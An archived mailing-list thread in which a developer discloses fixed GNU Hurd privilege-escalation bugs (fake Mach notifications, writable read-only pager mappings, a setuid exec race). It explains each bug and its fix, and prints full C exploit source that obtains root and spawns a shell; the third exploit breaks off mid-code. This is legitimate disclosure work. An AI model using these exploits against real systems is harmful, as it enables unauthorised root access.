unofficial mirror of guix-devel@gnu.org 
 help / color / mirror / Atom feed
* [VULN 0/4] Hurd vulnerability details
@ 2021-11-02 16:31 Sergey Bugaev
  2021-11-02 16:31 ` [VULN 1/4] Fake notifications Sergey Bugaev
                   ` (5 more replies)
  0 siblings, 6 replies; 11+ messages in thread
From: Sergey Bugaev @ 2021-11-02 16:31 UTC (permalink / raw)
  To: bug-hurd
  Cc: squid3, Sergey Bugaev, debian-hurd, samuel.thibault, jlledom,
	guix-devel, rbraun

Hello!

As promised [0], here are the details of the Hurd vulnerabilities I have found
earlier this year [1] [2].

[0]: https://lists.gnu.org/archive/html/bug-hurd/2021-10/msg00006.html
[1]: https://lists.gnu.org/archive/html/bug-hurd/2021-05/msg00079.html
[2]: https://lists.gnu.org/archive/html/bug-hurd/2021-08/msg00008.html

(You'll notice that I'm formatting this just like a patch series. I'll even try
to send it out with git send-email; if you're reading this, it has worked!)

These texts are partly based on the mails and write-ups I sent to Samuel at the
time, but most of the text is new, rewritten to incorporate the better
understanding that I now have as the result of exploring the issues and working
with Samuel on fixing them.

I've grouped the information by the four "major" vulnerabilities -- ones that I
have actually written an exploit for. Other related vulnerabilities are briefly
mentioned in the notes sections.

Each text contains a short and a detailed description of the relevant issue,
source code of the exploit I have written for the issue, commentary on how the
exploit works, and a description of how we fixed the issue. While this should
hopefully be an interesting read for everyone, understanding some of the details
requires some familiarity with the Mach and Hurd mechanisms involved. I've tried
to briefly describe the necessary bits (as I understand them myself) in the
"Background" sections throughout the texts -- hopefully this will make it easier
to understand. Please don't hesitate to ask me questions (while I can still
answer them)!

I also hope that all this info should be enough to finally allocate official
CVEs for these vulnerabilities, if anyone is willing to go forward with that in
my absence.

While all of the vulnerabilities described have been fixed, most of the fixes
are not yet in the main Hurd tree for legal reasons: namely, my FSF copyright
assignment process is still unfinished. All the out-of-tree patches with the
fixes can be found in the Debian repo [3].

[3]: https://salsa.debian.org/hurd-team/hurd/-/tree/master/debian/patches

Our work on fixing these vulnerabilities required some large changes and touches
most of the major Hurd components (now I can actually name them: glibc, GNU
Mach, libports, libpager, libfshelp, libshouldbeinlibc, lib*fs, proc server,
exec server, *fs, ...) -- and this was even more true of the previous designs
that we have considered (the final design ended up being the most compact one).
Still, it's kind of amazing _how little_ has changed: we managed to keep most
things working just as they were (with the notable exception of mremap ()). The
Hurd still looks and behaves like the Hurd, despite all the changes.

Finally, I should note that there still are unfixed vulnerabilities in the Hurd.
There's another "major" vulnerability that I have already written an exploit
for, but I can't publish the details since it's still unfixed. I won't be there
to see it fixed (assuming it will take less than a year to fix it -- which I
hope it will), but Samuel should have all the details.

Let me know what you think!

Sergey


^ permalink raw reply	[flat|nested] 11+ messages in thread

* [VULN 1/4] Fake notifications
  2021-11-02 16:31 [VULN 0/4] Hurd vulnerability details Sergey Bugaev
@ 2021-11-02 16:31 ` Sergey Bugaev
  2021-11-02 16:31 ` [VULN 2/4] No read-only mappings Sergey Bugaev
                   ` (4 subsequent siblings)
  5 siblings, 0 replies; 11+ messages in thread
From: Sergey Bugaev @ 2021-11-02 16:31 UTC (permalink / raw)
  To: bug-hurd
  Cc: squid3, Sergey Bugaev, debian-hurd, samuel.thibault, jlledom,
	guix-devel, rbraun

Short description
=================

libports accepts fake notification messages from any client on any port, which
can lead to port use-after-free, which can be exploited for local privilege
escalation to get full root access to the system.


Background: Mach notifications
==============================

The Mach kernel has a mechanism to let a task know when various things happen to
ports that it has. Specifically, a task can request to be notified when a
specific port dies by using the mach_port_request_notification () RPC, which is
documented here [0].

[0]: https://www.gnu.org/software/hurd/gnumach-doc/Request-Notifications.html

There are several _variants_, or _flavors_, of notifications. We're interested
in two of them:

* MACH_NOTIFY_NO_SENDERS (aka no-senders), which a task can request on a receive
  right that it owns. It will be notified once all the send rights to the port
  are gone, so there's no one left who could send more messages to the port
  (assuming we also know that there are no more send-once rights, or don't care
  about them). This is kind of like receiving EOF on the read end of a Unix pipe
  once the write end is closed by all the potential writers.

* MACH_NOTIFY_DEAD_NAME (aka dead-name), which a task can request on a send or
  send-once right that it has. It will be notified if the port is destroyed by
  its owner and the right that the task had turns into a dead name. This is kind
  of like receiving SIGPIPE/EPIPE when trying to write into the write end of a
  "broken" Unix pipe (one whose read end has been closed).

The notifications are naturally delivered to the task as Mach messages, namely
the mach_notify_* () RPCs. It's up to the requesting task to specify where (on
which port) it wants the notification delivered. The no-senders notification for
a port is typically requested to the port itself, since it's a about a receive
right (so it is possible to receive it on the port itself), and also because the
no-senders message does not otherwise specify an explicit port name.

The dead-name notification cannot be requested to the port itself, so it's
typically requested to some other related port. The dead-name notification
carries the name of the port that has turned into the dead name. Importantly, it
only carries a name as an integer -- not a port right -- since a dead name right
carried in a message gets received as MACH_PORT_DEAD (-1), which would be rather
useless to the receiver.

To prevent potential races between processing the notification and the now-dead
name getting deallocated and reused for another right, the dead-name
notification "carries" an extra reference to the dead name that the receiving
task should deallocate _as if_ the message actually carried a right, not a name.
(A cleaner alternative design would be to make this all a userspace concern,
i.e. it would be up to userspace to keep an extra reference to the right it
wants to get dead-name notifications about. Exercise for the reader: why
wouldn't that work?)


Background: libports
====================

libports is a core library of the Hurd that wraps the Mach ports API into a
higher-level interface. libports is used by most of the Hurd servers (everything
except /hurd/startup, I believe). libports lets the program associate any custom
data (object) with a receive right, and provides the API to look up the object
by the port and the other way around.

libports objects (struct port_info-s) are reference counted; once all the
references go away, the custom data is cleared and the port right is
deallocated. An object can be referenced explicitly (by other objects, perhaps),
and in addition libports "factors in" outstanding send rights to the port as
another reference to the object. So, an object will be alive as long as there
are in-process references to it *or* send rights to its port.

To track when send rights to a port disappear, libports requests no-senders
notifications for the port, and once a notification arrives, libports
automatically decrements the object reference count.

libports also provides a wrapper for the dead-name notifications: you call
ports_interrupt_self_on_port_death (object, port_name), and libports will
request a dead-name notification for the port_name, and cancel your thread if
the port dies. This is typically used to cancel waiting RPC implementations
(such as a read on a pipe) if the reply port dies.


The issue
=========

The notification messages are implicitly handled by libports as follows:

error_t
ports_do_mach_notify_no_senders (struct port_info *pi,
				 mach_port_mscount_t count)
{
  if (!pi)
    return EOPNOTSUPP;
  ports_no_senders (pi, count);
  return 0;
}

error_t
ports_do_mach_notify_dead_name (struct port_info *pi,
				mach_port_t dead_name)
{
  if (!pi)
    return EOPNOTSUPP;
  ports_dead_name (pi, dead_name);

  /* Drop gratuitous extra reference that the notification creates. */
  mach_port_deallocate (mach_task_self (), dead_name);
  
  return 0;
}

where ports_no_senders () and ports_dead_name () are the actual handler
functions. The only thing libports checks about the incoming notification
messages is that they arrive on some libports-managed port (represented by
struct port_info). Which means that ANYONE who has a send right to a
libports-managed port can send a fake notification message to it, and libports
will happily handle it as if it was a real message coming from the kernel.

If one sends a fake no-senders notification, libports will decrement refcount of
the object, and likely deallocate it completely, destroying the port. This is a
denial-of-service attack: any task that has a send right to a port can trivially
cause the receive right to get destroyed, turning the right into a dead name for
itself *and for everyone else who had this right*. This would have a
catastrophic effect if used on a pager port, for example, since the same pager
is shared between everyone who maps the same file.

Now, the dead-name notification message only carries the port name (an integer),
so we can trick the victim task into believing that any port of our choosing is
dead; the attacker task doesn't have to have access to the port. We have to
guess the port name in the victim task, which is easy since GNU Mach doesn't do
any sort of port name randomization. This is also a denial-of-service attack.

But this goes so much further. Since the dead-name notification handler
deallocates the "gratuitous" reference to the port (as it should), this turns
into a "please deallocate this port name" primitive! And if we send a fake
dead-name notification for some port that the task never actually requested a
notification for, the handler will do nothing other than deallocating the port,
and the rest of the task will *keep thinking it has the port*, and keep trying
to use it.

A port use-after-free, in pretty much any Hurd server, for any port of our
choosing, with 100% reproducibility and no races to win! It's hard to overstate
just how cool this is.


The exploit
===========

A port use-after-free can be exploited pretty much like a regular (memory)
use-after-free: the attacker plants a different port in the victim task under
the same name, then triggers the use-after-free; the victim uses the attacker's
port without realizing it.

Planting a port in another task under the just-freed name also turned out to be
very easy due to the predictable nature of how GNU Mach allocates port names:
Mach seems to always allocate the numerically smallest unused name, so after an
"old" name is freed, normally the very first port you send to the victim task
will get the desired name.

I chose the password server as the target task to attack, primarily because
giving out root auth ports is its intended purpose. If we trick it into
believing we supply a correct password, we'll get a root auth port. To check the
client-supplied password for correctness, the password server fetches the user
record using getpwuid_r () which is implemented on top of glibc NSS. The NSS can
do a lot of things, but the primary source of user data is reading the
/etc/passwd and /etc/shadow files. So my plan was to steal the name used for the
root directory port, and get the password server to ask me back about
/etc/passwd.

Empirically, the password server uses port name 6 for its root directory. So the
exploit works like this:

* First, query the password server using any (invalid) password. This is just to
  get it to load the NSS modules before we mess with its root directory port.

* Then, ask it to deallocate its port right named 6.

* Query it with any password, supplying a send (instead of the usual send-once)
  right for the reply port. If we're lucky, the reply port is going to get the
  just freed name 6.

* Wait for the password server to respond with a dir_lookup ("etc/passwd")
  query, instead of the reply to our password query. If it does, this indicates
  that our exploit has succeeded.

* Reply with whatever info we want :)

Since the password server will happily give out root access to anyone if the
root account can not be found, I simply replaced /etc/passwd with an empty file,
namely /dev/null. This way, the exploit doesn't even have to implement any more
callbacks.


Exploit source code
===================

#include <stdio.h>
#include <unistd.h>
#include <error.h>
#include <stdlib.h>
#include <string.h>
#include <hurd.h>
#include <hurd/paths.h>
#include <hurd/password.h>
#include <mach/mig_support.h>

kern_return_t
hax_mach_notify_dead_name (mach_port_t port, mach_port_t name)
{
  struct request
  {
    mach_msg_header_t header;
    mach_msg_type_t name_type;
    mach_port_t name;
  };

  struct request request =
    {
      .header =
        {
          .msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0),
          .msgh_remote_port = port,
          .msgh_local_port = MACH_PORT_NULL,
          .msgh_id = 72,
          .msgh_size = sizeof request,
        },
      .name_type =
        {
          .msgt_name = MACH_MSG_TYPE_PORT_NAME,
          .msgt_size = 32,
          .msgt_number = 1,
          .msgt_inline = 1,
        },
      .name = name,
    };

  extern kern_return_t
  mach_msg_send (const mach_msg_header_t *);

  return mach_msg_send (&request.header);
}

kern_return_t
hax_password_check_user (io_t server, uid_t user,
                         const char *pw, mach_port_t *authn)

{
  mach_msg_return_t ret;
  mach_port_t reply_port = mig_get_reply_port ();

  struct pcu_request
  {
    mach_msg_header_t header;
    mach_msg_type_t user_type;
    uid_t user;
    mach_msg_type_t pw_type;
    string_t pw;
  };

  struct pcu_reply
  {
    mach_msg_header_t header;
    mach_msg_type_t ret_code_type;
    kern_return_t ret_code;
    mach_msg_type_t authn_type;
    mach_port_t authn;
  };

  struct dl_request
  {
    mach_msg_header_t header;
    mach_msg_type_t file_name_type;
    string_t file_name;
    mach_msg_type_t flags_type;
    int flags;
    mach_msg_type_t mode_type;
    mode_t mode;
  };

  struct dl_reply
  {
    mach_msg_header_t header;
    mach_msg_type_t ret_code_type;
    kern_return_t ret_code;
    mach_msg_type_t do_retry_type;
    retry_type do_retry;
    mach_msg_type_t retry_name_type;
    string_t retry_name;
    mach_msg_type_t result_type;
    mach_port_t result;
  };

  union {
    mach_msg_header_t header;
    struct pcu_request pcu_request;
    struct pcu_reply pcu_reply;
    struct dl_request dl_request;
    struct dl_reply dl_reply;
  } message;

  message.pcu_request = (struct pcu_request)
    {
      .header =
        {
          .msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND),
          .msgh_remote_port = server,
          .msgh_local_port = reply_port,
          .msgh_id = 38000,
          .msgh_size = sizeof (struct pcu_request),
        },
      .user_type =
        {
          .msgt_name = MACH_MSG_TYPE_INTEGER_32,
          .msgt_size = 32,
          .msgt_number = 1,
          .msgt_inline = 1
        },
      .user = user,
      .pw_type =
        {
          .msgt_name = MACH_MSG_TYPE_STRING_C,
          .msgt_size = 8,
          .msgt_number = 1024,
          .msgt_inline = 1,
        },
  };
  strncpy (message.pcu_request.pw, pw, 1024);

  while (1)
    {
      ret = mach_msg (&message.header, MACH_SEND_MSG|MACH_RCV_MSG,
                      message.header.msgh_size, sizeof message,
                      reply_port,
                      MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

      if (ret)
        return ret;

      if (message.header.msgh_id == 20018)
        {
          /* This is dir_lookup ().  */
          file_t dev_null;
          dev_null = file_name_lookup ("/dev/null", message.dl_request.flags,
                                                    message.dl_request.mode);

          message.dl_reply.header.msgh_bits = MACH_MSGH_BITS_COMPLEX
                                              | MACH_MSGH_BITS (MACH_MSG_TYPE_MOVE_SEND_ONCE, 0);
          message.dl_reply.header.msgh_local_port = MACH_PORT_NULL;
          message.dl_reply.header.msgh_id = 20118;
          message.dl_reply.header.msgh_size = sizeof (struct dl_reply);

          memset (&message.dl_reply.ret_code_type, 0, sizeof (mach_msg_type_t));
          message.dl_reply.ret_code_type.msgt_name = MACH_MSG_TYPE_INTEGER_32;
          message.dl_reply.ret_code_type.msgt_size = 32;
          message.dl_reply.ret_code_type.msgt_number = 1;
          message.dl_reply.ret_code_type.msgt_inline = 1;

          message.dl_reply.ret_code = MACH_PORT_VALID (dev_null) ? 0 : errno;

          memset (&message.dl_reply.do_retry_type, 0, sizeof (mach_msg_type_t));
          message.dl_reply.do_retry_type.msgt_name = MACH_MSG_TYPE_INTEGER_32;
          message.dl_reply.do_retry_type.msgt_size = 32;
          message.dl_reply.do_retry_type.msgt_number = 1;
          message.dl_reply.do_retry_type.msgt_inline = 1;

          message.dl_reply.do_retry = FS_RETRY_NORMAL;

          memset (&message.dl_reply.retry_name_type, 0, sizeof (mach_msg_type_t));
          message.dl_reply.retry_name_type.msgt_name = MACH_MSG_TYPE_STRING_C;
          message.dl_reply.retry_name_type.msgt_size = 8;
          message.dl_reply.retry_name_type.msgt_number = 1024;
          message.dl_reply.retry_name_type.msgt_inline = 1;

          memset (message.dl_reply.retry_name, 0, 1024);

          memset (&message.dl_reply.result_type, 0, sizeof (mach_msg_type_t));
          message.dl_reply.result_type.msgt_name = MACH_MSG_TYPE_MOVE_SEND;
          message.dl_reply.result_type.msgt_size = 32;
          message.dl_reply.result_type.msgt_number = 1;
          message.dl_reply.result_type.msgt_inline = 1;

          message.dl_reply.result = dev_null;
          continue;
        }

      if (message.header.msgh_id != 38100)
        return MIG_REPLY_MISMATCH;

      if (message.pcu_reply.ret_code != 0)
        return message.pcu_reply.ret_code;

      *authn = message.pcu_reply.authn;
      return 0;
    }
}

int
main ()
{
  error_t err;
  file_t password_server;
  auth_t root_auth;

  password_server = file_name_lookup (_SERVERS_PASSWORD, 0, 0);
  if (!MACH_PORT_VALID (password_server))
    error (1, errno, "failed to open");

  /* Start by forcing the password server to load all nss modules.  */
  password_check_user (password_server, 0, "hax", &root_auth);

  err = hax_mach_notify_dead_name (password_server, 6);
  if (err)
    error (1, err, "failed to notify");

  do
    {
      err = hax_password_check_user (password_server, 0,
                                     "hax", &root_auth);
      if (err)
        {
          error (0, err, "failed to get root auth port");
          sleep (1);
        }
    }
  while (err);

  fprintf (stderr, "Got root auth port :)\n");

  err = setauth (root_auth);
  if (err)
    error (1, err, "failed to setauth");

  execl ("/bin/bash", "/bin/bash", NULL);
  error (1, errno, "failed to exec bash");
}


Notes
=====

A similar exploit in OS X was reported by Ian Beer in 2016 (CVE-2016-7661). Once
I saw that libports similarly accepts mach_notify_* () on ports exposed to
users, I knew which way to dig.

There are (or were) other related vulnerabilities in the Hurd. The startup
server was always deallocating a client-supplied port [1] (MIG routines are only
supposed to take ownership of the resources in the message when they return
success) -- a port double-free, which could potentially be escalated to port
use-after-free. The memory proxy implementation inside GNU Mach was also
vulnerable to fake notification messages, much like libports [2].

[1]: https://git.savannah.gnu.org/cgit/hurd/hurd.git/commit/?id=b011199cf330b90483b312c57f25c90a31f2577b
[2]: https://git.savannah.gnu.org/cgit/hurd/gnumach.git/commit/?id=a277e247660a38c5e10c7ddc7916954f8283c8eb

It would be harder to exploit port use-after-free vulnerabilities if GNU Mach
implemented port name randomization, similarly to how ASLR is used to mitigate
exploits based on memory safety issues.


How we fixed the vulnerability
==============================

We have considered several potential designs to fix the libports notifications
issue, and I have actually implemented a few different versions. Here's the
design we ended up with.

For no-senders notifications, the fix [3] is to treat notifications as *hints*,
and check the port status explicitly upon receiving a notification. If the
notification is fake and there still are senders to the port, we'll just do
nothing.

[3]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0011-libports-Treat-no-senders-notifications-as-a-hint.patch

For dead-name notifications, while we could similarly check if the name is
indeed dead, that doesn't save us from the real trouble: we still need to know
whether to deallocate the extra reference (if the notification is coming from
the kernel) or not (if it's fake). To cope with this, we now create and use a
special designated port ("notify port") for requesting and receiving dead-name
notifications. This port is never ever exposed to any clients; only the kernel
can send messages to it. Thus, any notification received on this port must be
authentic.

libports now automatically creates a notify port in each bucket [4], and only
accepts dead-name notifications received on this port [5]. There's a new
ports_request_dead_name_notification () helper [6] for requesting a notification
to the notify port. This actually ends up making code more ergonomic, not less!
-- which is something that I'm a little bit proud of, since the previous designs
complicated code all over the place quite a bit.

[4] https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0012-libports-Create-a-notify_port-in-each-bucket.patch
[5]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0025-libports-Only-accept-dead-name-notifications-on-noti.patch
[6]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0014-libports-Add-ports_request_dead_name_notification.patch

All the Hurd servers and libraries were then updated to use this new libports
functionality. In some specific cases where we cannot use libports, we have to
carefully think about who can send us fake notifications [7].

[7]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0021-libfshelp-Update-some-comments.patch


^ permalink raw reply	[flat|nested] 11+ messages in thread

* [VULN 2/4] No read-only mappings
  2021-11-02 16:31 [VULN 0/4] Hurd vulnerability details Sergey Bugaev
  2021-11-02 16:31 ` [VULN 1/4] Fake notifications Sergey Bugaev
@ 2021-11-02 16:31 ` Sergey Bugaev
  2021-11-02 16:31 ` [VULN 3/4] setuid exec race Sergey Bugaev
                   ` (3 subsequent siblings)
  5 siblings, 0 replies; 11+ messages in thread
From: Sergey Bugaev @ 2021-11-02 16:31 UTC (permalink / raw)
  To: bug-hurd
  Cc: squid3, Sergey Bugaev, debian-hurd, samuel.thibault, jlledom,
	guix-devel, rbraun

Short description
=================

A single pager port is shared between anyone who mmaps a file, allowing anyone
to modify any files they can read. This can be trivially exploited to get full
root access to the system.


Background: Mach memory objects
===============================

Mach has the concept of memory objects, also called pagers. A memory object is
essentially a collection of memory pages that can be mapped into a task address
space. Memory objects can be implemented both in userspace or in the kernel.
Like everything else in Mach, a memory object is represented by a port.

A memory object port can be passed to the vm_map () call to map the object to
the address space of a task. Mach itself acts as the client of the memory
object, sending various requests to the object when it needs to read or write
pages of data that belong to the memory object.

An important property of (shared, as in MAP_SHARED) mappings is *coherence*: any
changes made to the data (whether directly through the mapping or through some
other means) must be immediately visible to everyone who has the object mapped.
This basically requires a single set of physical pages to be shared between
tasks, i.e. sharing a single set of physical pages is not only an optimization,
but a hard requirement. Mach takes care to maintain this invariant, and only
keeps a single copy of each logical page of a memory object (unless copying is
requested explicitly).


Background: io_map ()
=====================

On the Hurd, the common way to get a memory object is through the io_map ()
call, defined as follows:

/* Return objects mapping the data underlying this memory object.  If
   the object can be read then memobjrd will be provided; if the
   object can be written then memobjwr will be provided.  For objects
   where read data and write data are the same, these objects will be
   equal, otherwise they will be disjoint.  Servers are permitted to
   implement io_map but not io_map_cntl.  Some objects do not provide
   mapping; they will set none of the ports and return an error.  Such
   objects can still be accessed by io_read and io_write.  */
routine io_map (
        io_object: io_t;
        RPT
        out memobjrd: mach_port_send_t;
        out memobjwt: mach_port_send_t);

io_map () can be called on a file; depending on whether the file was opened for
reading, writing, or both, some of the returned memory objects can be null.

The implementation of mmap () in glibc goes something like this (obviously,
greatly simplified):

mmap (...)
{
  mach_port_t robj, wobj, memobj;

  io_map (io, &robj, &wobj);
  memobj = (prot & PROT_WRITE) ? wobj : robj;

  if (memobj == MACH_PORT_NULL)
    /* The translator doesn't provide this sort of access to us.  */
    return __hurd_fail (EACCES);

  vm_map (mach_task_self (), ..., memobj, ...);
}


The issue
=========

As I mentioned, it's essential for coherence that there's a single copy of each
page in core, shared between all tasks that have it mapped. This is why,
generally, there can only be a single pager per file -- not two distinct pagers
for read-only and writable access!

This means that even when io_map () returns null for a writable memory object,
the returned supposedly read-only memory object is still a port to the same,
single pager for this file, which can be used for both reading and writing.
While an mmap () call will behave as expected -- map the object read-only if so
requested, return an error if asked to make a writable mapping since wobj is
null -- nothing stops an attacker from calling vm_map () explicitly to create a
writable mapping, nor from skipping the actual mapping and just talking to the
pager directly using the port, like Mach would.


The exploit
===========

I can overwrite arbitrary files, at least on the root ext2fs, that I have read
access to. It's trivial to get root access from here. I chose to stick with the
password server and erasing /etc/passwd again. The exploit even makes sure to
restore /etc/passwd contents after getting root, so that the system doesn't end
up in a broken state.


Exploit source code
===================

#include <stdio.h>
#include <error.h>
#include <hurd.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <hurd/paths.h>
#include <hurd/password.h>

int
main ()
{
  error_t err;
  file_t file;
  file_t password_server;
  struct stat64 st;
  mach_port_t robj, wobj;
  vm_address_t addr = 0;
  void *buffer;
  auth_t root_auth;

  file = file_name_lookup ("/etc/passwd", O_READ, 0);
  if (!MACH_PORT_VALID (file))
    error (1, errno, "file_name_lookup");

  password_server = file_name_lookup (_SERVERS_PASSWORD, 0, 0);
  if (!MACH_PORT_VALID (password_server))
    error (1, errno, "file_name_lookup");

  err = io_stat (file, &st);
  if (err)
    error (1, err, "io_stat");

  err = io_map (file, &robj, &wobj);
  if (err)
    error (1, err, "io_map");

  err = vm_map (mach_task_self (),
                &addr, st.st_size, 0,
                1, robj, 0, 0,
                VM_PROT_READ|VM_PROT_WRITE,
                VM_PROT_READ|VM_PROT_WRITE,
                VM_INHERIT_SHARE);
  if (err)
    error (1, err, "vm_map");

  buffer = malloc (st.st_size);
  if (!buffer)
    error (1, errno, "malloc (%lu)", st.st_size);

  memcpy (buffer, (void *) addr, st.st_size);
  memset ((void *) addr, '\n', st.st_size);

  err = password_check_user (password_server, 0, "hax2", &root_auth);
  if (err)
    error (0, err, "password_check_user");
  else
    fprintf (stderr, "Got root auth port :)\n");

  memcpy ((void *) addr, buffer, st.st_size);
  free (buffer);

  err = setauth (root_auth);
  if (err)
    error (1, err, "setauth");

  if (setresuid (0, 0, 0) < 0)
    error (0, errno, "setresuid");
  if (setresgid (0, 0, 0) < 0)
    error (0, errno, "setresgid");

  execl ("/bin/bash", "/bin/bash", NULL);
  error (1, errno, "failed to exec bash");
}


Notes
=====

As it turned out, this vulnerability has been known to (some of) the Hurd
developers before. Specifically, I have found these old discussions on the
mailing list:

* https://lists.gnu.org/archive/html/bug-hurd/2002-11/msg00263.html
* https://lists.gnu.org/archive/html/bug-hurd/2005-06/msg00191.html

So while I have discovered this vulnerability independently, it is not exactly
new. This also explains the existence of the memory object proxy feature:
proxies turned out to be so convenient for fixing this, it's as if they have
been designed specifically for this use case! -- well, it turns out, they have
been indeed, but the work has never been completed.


Background: memory object proxies
=================================

Memory object proxies are a GNU Mach feature; they're not in other versions of
Mach. They are lightweight references to memory objects that provide a "view"
into their underlying object, while possibly modifying some attributes of the
underlying memory object. Importantly for us, they can modify the allowed
protection.

It's important to understand that memory object proxies are not themselves
memory objects: they don't respond to memory_object_* () RPCs, and in particular
they _don't_ proxy memory_object_* () RPCs to their underlying memory object.

But, memory object proxies can frequently be used _in place of_ an actual memory
object, because vm_map () implementation recognizes memory object proxies and
_actually maps the underlying memory object_, while applying the relevant
attributes of the proxy (namely, adjusting the allowed protection). After the
vm_map () call, the resulting state of the map is indistinguishable from what it
would have been had the underlying memory object been mapped directly, without
using a proxy. In particular, no additional references to the proxy are created,
so the proxy can be safely destroyed afterwards once the userspace no longer
references it.


How we fixed the vulnerability
==============================

By finally making use of memory object proxies!

There's a new function in libpager (the Hurd library for writing pagers),
pager_create_ro_port (), which creates a read-only proxy to the pager; it
complements the existing pager_get_port () function, which gets the actual pager
port. ext2fs, fatfs, and tmpfs were all updated to use pager_create_ro_port ()
to return this read-only proxy when appropriate.

Since it's always the original memory object that's entered into the vm_map, we
can give out read-only pager ports while still keeping the invariant that
there's only one pager, and one copy of each logical page, per file. (To be
clear: this part is not new, it's how proxies work; though we had to make some
tweaks to this mechanism nevertheless.)

We also had to disable the GNU Mach extension that allowed using the "memory
object name port", as returned from vm_region (), in vm_map (). This extension
effectively allowed tasks to remap any objects that they have mapped with a
different protection (and range), circumventing any protection restrictions set
up by proxies (or otherwise by max_protection). This was used by mremap () in
glibc, which as of now no longer works. We have some plans for a different way
to implement mremap () which would be secure (VM proxies).

Before these changes, the proxies feature existed, but it was not used for
anything (outside of Joan Lledó's PCI arbiter memory mapping branch). Now, the
proxies are *pervasively* used when mapping any file read-only (think shared
libraries) and also each time when reading any file from disk, since
_diskfs_rdwr_internal () goes through a mapping.


^ permalink raw reply	[flat|nested] 11+ messages in thread

* [VULN 3/4] setuid exec race
  2021-11-02 16:31 [VULN 0/4] Hurd vulnerability details Sergey Bugaev
  2021-11-02 16:31 ` [VULN 1/4] Fake notifications Sergey Bugaev
  2021-11-02 16:31 ` [VULN 2/4] No read-only mappings Sergey Bugaev
@ 2021-11-02 16:31 ` Sergey Bugaev
  2021-11-02 16:31 ` [VULN 4/4] Process auth man-in-the-middle Sergey Bugaev
                   ` (2 subsequent siblings)
  5 siblings, 0 replies; 11+ messages in thread
From: Sergey Bugaev @ 2021-11-02 16:31 UTC (permalink / raw)
  To: bug-hurd
  Cc: squid3, Sergey Bugaev, debian-hurd, samuel.thibault, jlledom,
	guix-devel, rbraun

Short description
=================

When trying to exec a setuid executable, there's a window of time when the
process already has the new privileges, but still refers to the old task and is
accessible through the old process port. This can be exploited to get full root
access to the system.


Background: setuid exec
=======================

setuid is of course the Unix mechanism for raising privileges, whereby a
process, upon executing a specially-marked executable file, is given the
privileges of the owner of the file (typically root).

On the Hurd, this is implemented as follows:

* A process wishing to exec an executable file calls file_exec_paths () on the
  file, effectively asking the translator that provides the file to call
  exec_exec_paths () on the task.

* If the translator wants to implement setuid behavior for the file, it
  reauthenticates the process and the provided I/O ports (file descriptors and
  cwd) to the new set of UIDs.

* The translator calls exec_exec_paths (), passing the new ports to the exec
  server along with the EXEC_SECURE flag. The EXEC_SECURE flag instructs the
  exec server to load the executable into a fresh new task that's not accessible
  to the original task, instead of reusing the same task as it does otherwise.
  (Technically, that's what EXEC_NEWTASK, which is implied by EXEC_SECURE, does;
  EXEC_SECURE enables some additional tweaks on top of that.)

* If loading the executable into the new task succeeds, the exec server calls
  proc_reassign (), which kills off the old task, assigns the new task to the
  process, and also invalidates the old process port (the process port created
  for the new task becomes the new port of the process). As far as the Mach
  personality of the system is concerned, this is a fresh new task with a fresh
  new process port; but since it keeps all the process state, from the Unix
  point of view it's still the same process, only running a new executable.

The use of a fresh task (and recreation of the process port) is necessary
because unprivileged processes have access to the task and process port of the
original process; they would get access to the new privileged process if the
task and/or process ports were kept valid.

Please note that the exec server is (almost) not involved in the actual process
of changing UIDs, that's entirely up to the translator to do -- and translators
could implement different semantics than Unix setuid.


The issue
=========

The reauthenticated I/O ports are only given out to the new task if the exec
succeeds. But reauthenticating the process does not create a new reauthenticated
process, it only changes authentication of the same process. The process is
still accessible to the process itself, and to anyone else who has access to the
task or process port. Some time later, if the exec succeeds, the task is killed
and the process port is invalidated. During the window of time between these two
events, the process is still accessible through the old task and process ports,
but already has the new (root) privileges.

Moreover, this window of time can be easily made arbitrarily long, since the
translator (specifically, the exec_reauth () function in libshouldbeinlibc)
proceeds to reauthenticate the cwd port after reauthenticating the process. So
by the time a io_reauthenticate () request is received on the cwd port, the
process should already be reauthenticated, _and_ we know the process port won't
be invalidated before io_reauthenticate () returns.


The exploit
===========

We create two tasks, one that will set its cwd to a fresh port (which only has
to _not_ reply to the incoming message) and start to exec a setuid executable;
the other task will get access to the process of the first task and wait until
that process is given root privileges (as far as the proc server is concerned).

From here on, it's simple to get actual full root access (that is, a root auth
port). We get access to a task of some process that already runs as full root (I
chose PID 1), and just ask it nicely to give us its auth port using
msg_get_init_port (INIT_PORT_AUTH).


Exploit source code
===================

#include <stdio.h>
#include <error.h>
#include <hurd.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <hurd/paths.h>
#include <hurd/msg.h>

int
main ()
{
  error_t err;
  pid_t child_pid;
  process_t child_proc;
  task_t pid1_task;
  mach_port_t pid1_msgport;
  auth_t root_auth;

  child_pid = fork ();
  if (child_pid < 0)
    error (1, errno, "fork");

  if (child_pid == 0)
    {
      file_t fake_cwdir;

      sleep (1);

      err = mach_port_allocate (mach_task_self (), MACH_PORT_RIGHT_RECEIVE,
                                &fake_cwdir);
      if (err)
        error (1, errno, "mach_port_allocate");

      err = mach_port_insert_right (mach_task_self (), fake_cwdir,
                                    fake_cwdir, MACH_MSG_TYPE_MAKE_SEND);
      if (err)
        error (1, errno, "mach_port_insert_right");

      _hurd_port_set (&_hurd_ports[INIT_PORT_CWDIR], fake_cwdir);

      execlp ("su", "su", NULL);
      error (1, errno, "execlp");
    }

  err = proc_pid2proc (getproc(), child_pid, &child_proc);
  if (err)
    error (1, err, "pid2proc");

  sleep (2);

  err = proc_pid2task (child_proc, 1, &pid1_task);
  if (err)
    error (1, err, "proc_pid2task");

  err = proc_getmsgport (child_proc, 1, &pid1_msgport);
